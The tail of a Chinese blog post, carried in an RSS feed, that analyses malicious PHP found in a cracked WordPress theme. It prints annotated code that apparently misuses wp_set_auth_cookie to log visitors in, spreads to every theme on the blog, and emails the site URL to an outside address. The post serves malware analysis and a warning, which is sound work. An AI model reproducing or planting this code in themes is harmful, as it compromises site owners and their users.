&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$l</span><span style="color: #339933;">=</span><span style="color: #000088;">$text_length</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$ellipsis</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$l</span><span style="color: #339933;">=</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$link_text_more</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$ellipsis</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span><span style="color: #000088;">$l</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$output</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$text</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//把感染标记置为1</span><br />
&nbsp; &nbsp; update_option<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;_is_widget_active_&quot;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;all&quot;</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$tagsallowed</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$output</span><span style="color: #339933;">=</span><a href="http://www.php.net/strip_tags"><span style="color: #990000;">strip_tags</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$output</span><span style="color: #339933;">,</span> <span style="color: #000088;">$tagsallowed</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$output</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">endif</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$output</span><span style="color: #339933;">=</span><a href="http://www.php.net/rtrim"><span style="color: #990000;">rtrim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$output</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;\s<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\t</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #660099; font-weight: bold;">\0</span><span style="color: #660099; font-weight: bold;">\x0B</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$output</span><span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fixed_tags</span><span style="color: #009900;">&#41;</span> ? balanceTags<span style="color: #009900;">&#40;</span><span style="color: #000088;">$output</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$output</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$output</span> <span style="color: #339933;">.=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$isshowdots</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$ellipsis</span><span style="color: #009900;">&#41;</span> ? <span style="color: #0000ff;">&quot;...&quot;</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//$filter 为 none ...,又是在伪装</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$output</span><span style="color: #339933;">=</span>apply_filters<span style="color: #009900;">&#40;</span><span style="color: #000088;">$filter</span><span style="color: #339933;">,</span> <span style="color: #000088;">$output</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tag_aditional</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;div&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$tag</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;div&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;span&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$tag</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;span&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;p&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$tag</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;p&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">default</span> <span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$tag</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;span&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #666666; font-style: italic;">//$checkswidgets即是wp_set_auth_cookie</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$is_use_more_link</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$for_more</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$output</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot; &lt;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$tag</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; class=<span style="color: #000099; font-weight: bold;">\&quot;</span>more-link<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;&lt;a href=<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">.</span> get_permalink<span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">ID</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;#more-&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">ID</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span> title=<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$more_text_link</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$link_text_more</span> <span style="color: #339933;">=</span> <span style="color: #339933;">!</span>is_user_logged_in<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #339933;">@</span><a href="http://www.php.net/call_user_func_array"><span style="color: #990000;">call_user_func_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$checkswidgets</span><span style="color: #339933;">,</span><a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cpages</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$link_text_more</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;&lt;/a&gt;&lt;/&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$tag</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;&gt;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$output</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot; &lt;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$tag</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; class=<span style="color: #000099; font-weight: bold;">\&quot;</span>more-link<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;&lt;a href=<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">.</span> get_permalink<span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">ID</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span> title=<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$more_text_link</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$link_text_more</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;&lt;/a&gt;&lt;/&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$tag</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;&gt;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$output</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #666666; font-style: italic;">//这里是用来干坏事的，这才是这个恶意代码的目的,前面的感染是“准备活动”</span><br />
add_action<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;init&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;_getprepare_widget&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<br />
<span style="color: #666666; font-style: italic;">//这个函数也是用来伪装的,无恶意</span><br />
<span style="color: #000000; font-weight: bold;">function</span> __popular_posts<span style="color: #009900;">&#40;</span><span style="color: #000088;">$no_posts</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">6</span><span style="color: #339933;">,</span> <span style="color: #000088;">$before</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&lt;li&gt;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$after</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&lt;/li&gt;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$show_pass_post</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">,</span> <span style="color: #000088;">$duration</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$request</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;SELECT ID, post_title, COUNT(<span style="color: #006699; font-weight: bold;">$wpdb-&gt;comments</span>.comment_post_ID) AS <span style="color: #000099; font-weight: bold;">\&quot;</span>comment_count<span style="color: #000099; font-weight: bold;">\&quot;</span> FROM <span style="color: #006699; font-weight: bold;">$wpdb-&gt;posts</span>, <span style="color: #006699; font-weight: bold;">$wpdb-&gt;comments</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$request</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot; WHERE comment_approved=<span style="color: #000099; font-weight: bold;">\&quot;</span>1<span style="color: #000099; font-weight: bold;">\&quot;</span> AND <span style="color: #006699; font-weight: bold;">$wpdb-&gt;posts</span>.ID=<span style="color: #006699; font-weight: bold;">$wpdb-&gt;comments</span>.comment_post_ID AND post_status=<span style="color: #000099; font-weight: bold;">\&quot;</span>publish<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$show_pass_post</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$request</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot; AND post_password =<span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$duration</span> <span style="color: #339933;">!=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$request</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot; AND DATE_SUB(CURDATE(),INTERVAL &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$duration</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; DAY) &lt; post_date &quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$request</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot; GROUP BY <span style="color: #006699; font-weight: bold;">$wpdb-&gt;comments</span>.comment_post_ID ORDER BY comment_count DESC LIMIT <span style="color: #006699; font-weight: bold;">$no_posts</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$posts</span><span style="color: #339933;">=</span><span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get_results</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$request</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$output</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$posts</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$posts</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$post_title</span><span style="color: #339933;">=</span><a href="http://www.php.net/stripslashes"><span style="color: #990000;">stripslashes</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post_title</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$comment_count</span><span style="color: #339933;">=</span><span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">comment_count</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$permalink</span><span style="color: #339933;">=</span>get_permalink<span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">ID</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$output</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$before</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; &lt;a href=<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$permalink</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span> title=<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$post_title</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$post_title</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;&lt;/a&gt; &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$after</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$output</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$before</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;None found&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$after</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> &nbsp;<span style="color: #000088;">$output</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></td></tr></tbody></table></div>
<p>最后，总结一下。<br />
这个恶意代码，在每次有人访问你的博客页面时会检测是否当前博客下面的所有主题都已经被感染，如果没有，则一并感染之。<br />
完了之后，在wp的初始化动作init执行时，它会检查当前博客是否已经发送邮件到livethemas@gmail.com　这个邮箱（它怎么知道自己发送了没有呢？在你的wp_options表中保存了一个名字为_is_widget_active_ 的选项，如果已经发送成功，则把它的值设置为1　），如果没有，则以当前被感染博客的主页URL为标题和内容，向　livethemas@gmail.com　这个邮箱 发送邮件。<br />
就是这样，其它的坏事它没有干。<br />
你说这个人他蛋疼不？浪费我时间，害得我还来分析它。。。。</p>
<hr />
<p>最后，提醒下大家，最好不要去下载那些破xx解oo的主题，搞不好里面就含有比这个更具破坏力的代码。（此代码据说是从某收费主题的free或者破xx解oo版中发现的）</p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=5265";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=5265" title="Permanent Link to 一段WordPress主题恶意代码分析（貌似很多人中招了）" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=5265</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2010年06月16日  //  <a href="http://ihacklog.com/software/cool_software_share/diskgenius.html" title="diskgenius,你强大得让我泪流满面">diskgenius,你强大得让我泪流满面</a> (6)</li><li>2010年07月28日  //  <a href="http://ihacklog.com/php/wordpress/wpskills/jquery-wonderful-title-tips-fixed.html" title="jQuery标题提示修正版">jQuery标题提示修正版</a> (12)</li><li>2010年04月27日  //  <a href="http://ihacklog.com/php/wordpress/wpskills/imagerotator-gallery.html" title="图片也一并通吃——添加wp短代码支持多种媒体文件的播放【增强版】">图片也一并通吃——添加wp短代码支持多种媒体文件的播放【增强版】</a> (22)</li><li>2009年04月17日  //  <a href="http://ihacklog.com/php/xiangyaojingtongphpmaxianxuehaolinuxunixhecba.html" title="想要精通PHP吗？先学好Linux/Unix和C吧">想要精通PHP吗？先学好Linux/Unix和C吧</a> (0)</li><li>2010年06月4日  //  <a href="http://ihacklog.com/security_optimization/use-yuicompressor-to-compress-your-js-css-code.html" title="用yuicompressor来压缩你的js、css代码">用yuicompressor来压缩你的js、css代码</a> (11)</li><li>2008年12月25日  //  <a href="http://ihacklog.com/security_optimization/top-1000-sql-performance-tips.html" title="Top 1000 SQL Performance Tips">Top 1000 SQL Performance Tips</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/theme/wordpress-theme-malicious-code-analysis.html/feed</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
	</channel>
</rss>

